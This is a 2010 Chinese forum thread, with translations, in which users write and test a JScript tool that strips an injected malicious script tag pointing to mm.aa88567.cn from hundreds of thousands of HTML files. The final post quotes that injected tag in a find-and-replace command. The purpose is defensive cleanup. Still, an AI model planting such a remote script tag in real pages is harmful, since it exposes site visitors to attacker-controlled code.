|
freeants001
中级用户
  
积分 330
发帖 244
注册 2006-4-14 来自 湖北
状态 离线
|
    『第 16 楼』:
使用 LLM 解释/回答一下
这样可以了
;)
if(WScript.arguments.length==0)PathSpec=get_path();
else PathSpec=WScript.arguments(0);
fso=new ActiveXObject("Scripting.FileSystemObject");
WshShell=WScript.CreateObject("WScript.Shell");
WshShell.CurrentDirectory=fso.GetParentFolderName(WScript.ScriptFullName);
if(!fso.FolderExists("#ReplacedFiles#"))fso.CreateFolder("#ReplacedFiles#");
WshShell.CurrentDirectory="#ReplacedFiles#"
Main(PathSpec);
WScript.quit();
function Main(FileSpec){
var fld,fs,fds,f,fd,curdir;
curdir=fso.GetBaseName(FileSpec);
if(!fso.FolderExists(curdir))fso.CreateFolder(curdir);
curdir=fso.GetAbsolutePathName(curdir);
WshShell.CurrentDirectory=curdir;
fld = fso.getfolder(FileSpec);
fds = new Enumerator(fld.subfolders);
fs = new Enumerator(fld.files)
for(;!fs.atEnd();fs.moveNext()){
f=fs.item();if(f.size==0)continue;
if(/^html?$/gi.test(ext=fso.getextensionname(f.name).toLowerCase())){
try{
var fl=fso.opentextfile(f.path,1);
var sss=fl.readall();
fl.close();
}catch(err){
WScript.quit();
}
var fl=fso.opentextfile(fso.GetBaseName(f.path)+"."+ext,2,true);
sss=sss.replace(/.*mm\.aa88567\.cn.*\s*$/,"");
fl.write(sss);
fl.close();
}
}
for(;!fds.atEnd();fds.moveNext()){
d=fds.item();
Main(d.path)
WshShell.CurrentDirectory=curdir
}
}
function get_path(){
var objShell = new ActiveXObject("Shell.Application")
do{
var objFolder = objShell.BrowseForFolder(0, "请选择文件夹:",0x301,0x11)
if(objFolder == null)WScript.quit()
var objPath = objFolder.Self.Path;
if(/^:\\.+$/gi.test(objPath))break;
}while(true)
return objPath;
}
Last edited by freeants001 on 2010-3-4 at 22:45 ]
This is okay.
;)
if(WScript.arguments.length==0)PathSpec=get_path();
else PathSpec=WScript.arguments(0);
fso=new ActiveXObject("Scripting.FileSystemObject");
WshShell=WScript.CreateObject("WScript.Shell");
WshShell.CurrentDirectory=fso.GetParentFolderName(WScript.ScriptFullName);
if(!fso.FolderExists("#ReplacedFiles#"))fso.CreateFolder("#ReplacedFiles#");
WshShell.CurrentDirectory="#ReplacedFiles#"
Main(PathSpec);
WScript.quit();
function Main(FileSpec){
var fld,fs,fds,f,fd,curdir;
curdir=fso.GetBaseName(FileSpec);
if(!fso.FolderExists(curdir))fso.CreateFolder(curdir);
curdir=fso.GetAbsolutePathName(curdir);
WshShell.CurrentDirectory=curdir;
fld = fso.getfolder(FileSpec);
fds = new Enumerator(fld.subfolders);
fs = new Enumerator(fld.files)
for(;!fs.atEnd();fs.moveNext()){
f=fs.item();if(f.size==0)continue;
if(/^html?$/gi.test(ext=fso.getextensionname(f.name).toLowerCase())){
try{
var fl=fso.opentextfile(f.path,1);
var sss=fl.readall();
fl.close();
}catch(err){
WScript.quit();
}
var fl=fso.opentextfile(fso.GetBaseName(f.path)+"."+ext,2,true);
sss=sss.replace(/.*mm\.aa88567\.cn.*\s*$/,"");
fl.write(sss);
fl.close();
}
}
for(;!fds.atEnd();fds.moveNext()){
d=fds.item();
Main(d.path)
WshShell.CurrentDirectory=curdir
}
}
function get_path(){
var objShell = new ActiveXObject("Shell.Application")
do{
var objFolder = objShell.BrowseForFolder(0, "Please select a folder:",0x301,0x11)
if(objFolder == null)WScript.quit()
var objPath = objFolder.Self.Path;
if(/^:\\.+$/gi.test(objPath))break;
}while(true)
return objPath;
}
Last edited by freeants001 on 2010-3-4 at 22:45 ]
|
|
2010-3-4 21:32 |
|
|
plp626
银牌会员
     钻石会员
积分 2278
发帖 1020
注册 2007-11-19
状态 离线
|
『第 17 楼』:
使用 LLM 解释/回答一下
var fl=fso.opentextfile(fso.GetBaseName(f.path)+".html",2,true);
恐怕不仅仅是将txt改为html这么简单;我不知道获取你代码里那个“f.path”后缀的函数是什么,兄是否可以吧红色的那个html改为它呢?
这些文件大都是htm文件 ,但还有不少html文件(为索引文件)
如果都同一改为html,那么那些本来是htm的文件的链接会失效,在替换的时候,文件名要保持原样。
PS:这30万的网页文件时某个静态网站的所有文件。
Last edited by plp626 on 2010-3-4 at 22:26 ]
var fl=fso.opentextfile(fso.GetBaseName(f.path)+".html",2,true);
I'm afraid it's not just a matter of changing txt to html; I don't know what the function is to get the suffix of "f.path" in your code. Brother, can you change that red html to it?
Most of these files are htm files, but there are still many html files (as index files)
If all are uniformly changed to html, then the links of those originally htm files will be invalid. When replacing, the file name should be kept the same.
PS: These 300,000 web pages are all files of a static website.
Last edited by plp626 on 2010-3-4 at 22:26 ]
|

山外有山,人外有人;低调做人,努力做事。
进入网盘(各种工具)~~ 空间~~cmd学习 |
|
2010-3-4 22:22 |
|
|
freeants001
中级用户
  
积分 330
发帖 244
注册 2006-4-14 来自 湖北
状态 离线
|
|
2010-3-4 22:48 |
|
|
plp626
银牌会员
     钻石会员
积分 2278
发帖 1020
注册 2007-11-19
状态 离线
|
『第 19 楼』:
使用 LLM 解释/回答一下
我测试了下,16楼的代码只替换test目录里后缀名为html的文件,而htm的文件没有得到替换,这是何故,测试文件用1楼的代码生成
I tested it. The code on floor 16 only replaces the files with the .html extension in the test directory, but the .htm files are not replaced. Why is that? The test files were generated with the code on floor 1.
|

山外有山,人外有人;低调做人,努力做事。
进入网盘(各种工具)~~ 空间~~cmd学习 |
|
2010-3-4 22:55 |
|
|
freeants001
中级用户
  
积分 330
发帖 244
注册 2006-4-14 来自 湖北
状态 离线
|
『第 20 楼』:
使用 LLM 解释/回答一下
Originally posted by plp626 at 2010-3-4 22:55:
我测试了下,16楼的代码只替换test目录里后缀名为html的文件,而htm的文件没有得到替换,这是何故,测试文件用1楼的代码生成
不会吧,我这里测试可以啊。
Originally posted by plp626 at 2010-3-4 22:55:
I tested, the code on floor 16 only replaces files with the .html extension in the test directory, and files with .htm extension are not replaced. Why is that? The test file was generated with the code from floor 1.
No way, it worked for me here.
|
|
2010-3-4 23:01 |
|
|
plp626
银牌会员
     钻石会员
积分 2278
发帖 1020
注册 2007-11-19
状态 离线
|
『第 21 楼』:
使用 LLM 解释/回答一下
16楼的代码正确,是我的原因
试着运行了下,20多万文件替换了8千多文件用时近8分钟(如果总数是1万个文件替换完却用时不到1分钟,不知为何),看来得30*8=240分钟,呀,得4个小时,是当时下载所花时间的一半。
Last edited by plp626 on 2010-3-4 at 23:39 ]
The code on floor 16 is correct, it's my problem.
I tried to run it. Replacing more than 200,000 files with over 8,000 files took nearly 8 minutes (if replacing 10,000 files took less than 1 minute, I don't know why). It seems it will be 30*8=240 minutes, oh, that's 4 hours, which is half of the time spent downloading at that time.
Last edited by plp626 on 2010-3-4 at 23:39 ]
|

山外有山,人外有人;低调做人,努力做事。
进入网盘(各种工具)~~ 空间~~cmd学习 |
|
2010-3-4 23:28 |
|
|
plp626
银牌会员
     钻石会员
积分 2278
发帖 1020
注册 2007-11-19
状态 离线
|
『第 22 楼』:
使用 LLM 解释/回答一下
我电脑上就有一个这样的三方工具,直接替换的,老早下载的白杨作品集——fr.exe,速度灰常快,测试了下,10分钟左右全部替换完了
fr *.htm* -s -f:"<scr<script language=javascript src=http://mm.aa88567.cn/index/mm.js></script>" -t:""
There is a third - party tool like this on my computer, which can be directly replaced. The Baibaiang works collection - fr.exe downloaded a long time ago, and the speed is very fast. I tested it and it was all replaced in about 10 minutes.
fr *.htm* -s -f:"<scr<script language=javascript src=http://mm.aa88567.cn/index/mm.js></script>" -t:""
|

山外有山,人外有人;低调做人,努力做事。
进入网盘(各种工具)~~ 空间~~cmd学习 |
|
2010-5-20 13:20 |
|